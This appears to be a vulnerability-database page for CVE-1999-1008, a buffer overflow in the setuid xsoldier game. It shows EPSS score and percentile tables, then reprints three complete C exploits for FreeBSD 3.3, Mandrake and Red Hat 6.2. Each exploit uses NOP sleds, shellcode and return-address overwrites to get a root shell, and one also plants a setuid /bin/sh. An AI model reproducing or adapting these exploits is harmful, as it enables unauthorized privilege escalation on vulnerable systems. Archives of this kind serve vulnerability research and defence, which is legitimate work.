CVE-1999-1008 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	33%
2025-04-15	37%
2025-04-15	37%

// source: https://www.securityfocus.com/bid/871/info Certain versions of FreeBSD (3.3 Confirmed) and Linux (Mandrake confirmed) ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid root binary meant to be run via an X windows console. The binary itself is subject to a buffer overflow attack (which may be launched from the command line) which can be launched to gain root privileges. The overflow itself is in the code written to handle the -display option and is possible to overflow by a user-supplied long string. The user does not have to have a valid $DISPLAY to exploit this. /* * xsoldier exploit for Freebsd-3.3-RELEASE * Drops a suid root shell in /bin/sh * Brock Tellier btellier@usa.net */ #include <stdio.h> char shell[]= /* mudge@l0pht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui"; #define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n" void buildui() { FILE *fp; char cc[100]; fp = fopen("/tmp/ui.c", "w"); fprintf(fp, CODE); fclose(fp); snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c"); system(cc); } main (int argc, char *argv[] ) { int x = 0; int y = 0; int offset = 0; int bsize = 4400; char buf[bsize]; int eip = 0xbfbfdb65; /* works for me */ buildui(); if (argv[1]) { offset = atoi(argv[1]); eip = eip + offset; } fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\n"); fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n"); fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize); for ( x = 0; x < 4325; x++) buf[x] = 0x90; fprintf(stderr, "NOPs to %d\n", x); for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y]; fprintf(stderr, "Shellcode to %d\n",x); buf[x++] = eip & 0x000000ff; buf[x++] = (eip & 0x0000ff00) >> 8; buf[x++] = (eip & 0x00ff0000) >> 16; buf[x++] = (eip & 0xff000000) >> 24; fprintf(stderr, "eip to %d\n",x); buf[bsize]='\0'; execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL); }

/* source: https://www.securityfocus.com/bid/871/info Certain versions of FreeBSD (3.3 Confirmed) and Linux (Mandrake confirmed) ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid root binary meant to be run via an X windows console. The binary itself is subject to a buffer overflow attack (which may be launched from the command line) which can be launched to gain root privileges. The overflow itself is in the code written to handle the -display option and is possible to overflow by a user-supplied long string. The user does not have to have a valid $DISPLAY to exploit this. */ /*Larry W. Cashdollar linux xsolider exploit. *lwc@vapid.dhs.org http://vapid.dhs.org *if xsolider is built and installed from its source it will be installed *setuid root in /usr/local/games *original exploit found by brock tellier for freebsd 3.3 ports packages. *If a setregid() call is placed in the shellcode, you can get egid=12 *with the default mandrake installation.*/ #include <stdio.h> #include <stdlib.h> #define NOP 0x90 /*no operation skip to next instruction. */ #define LEN 4480 /*our buffersize. */ char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */ "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa" "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01" "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11" "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9" "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01" "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c" "\xc2\x91"; /*Nab the stack pointer to use as an index into our nop's*/ long get_sp () { __asm__ ("mov %esp, %eax"); } int main (int argc, char *argv[]) { char buffer[LEN]; int i, offset; long retaddr = get_sp (); if (argc <= 1) offset = 0; else offset = atoi (argv[1]); /*#Copy the NOPs in to the buffer leaving space for shellcode and #pointers*/ for (i = 0; i < (LEN - strlen (shellcode) - 100); i++) *(buffer + i) = NOP; /*[NNNNNNNNNNNNNNNNNNNNN ]*/ /* ^-- LEN -(strlen(shellcode)) - 35*/ /*#Copy the shell code into the buffer*/ memcpy (buffer + i, shellcode, strlen (shellcode)); /*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS ]*/ /* ^-(buffer+i) */ /*#Fill the buffer with our new address to jump to esp + offset */ for (i = i + strlen (shellcode); i < LEN; i += 4) *(long *) &buffer[i] = retaddr+offset; /*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/ /* ^-(i+strlen(shellcode))*/ printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN); execl ("/usr/local/games/xsoldier", "xsoldier", "-display", buffer, 0); }

#include <stdio.h> #include <stdlib.h> #define NOP 0x90 #define BUFSIZE 4408 #define OFFSET 0 #define RANGE 20 unsigned char blah[] = "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa" "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01" "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11" "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9" "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01" "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c" "\xc2\x91"; long get_sp () { __asm__ ("mov %esp, %eax"); } int main (int argc, char *argv[]) { char buffer[BUFSIZE]; int i, offset; unsigned long ret; if (argc > 1) offset = atoi(argv[1]); else offset = OFFSET; for (i = 0; i < (BUFSIZE - strlen (blah) - RANGE*2); i++) *(buffer + i) = NOP; memcpy (buffer + i, blah, strlen (blah)); ret = get_sp(); for (i = i + strlen (blah); i < BUFSIZE; i += 4) *(long *) &buffer[i] = ret+offset; fprintf(stderr, "xsoldier-0.96 exploit for Red Hat Linux release 6.2 (Zoot)\n"); fprintf(stderr, "zorgon@antionline.org\n"); fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", ret + offset, offset, BUFSIZE); execl ("./xsoldier", "xsoldier", "-display", buffer, 0); } // milw0rm.com [2000-12-15]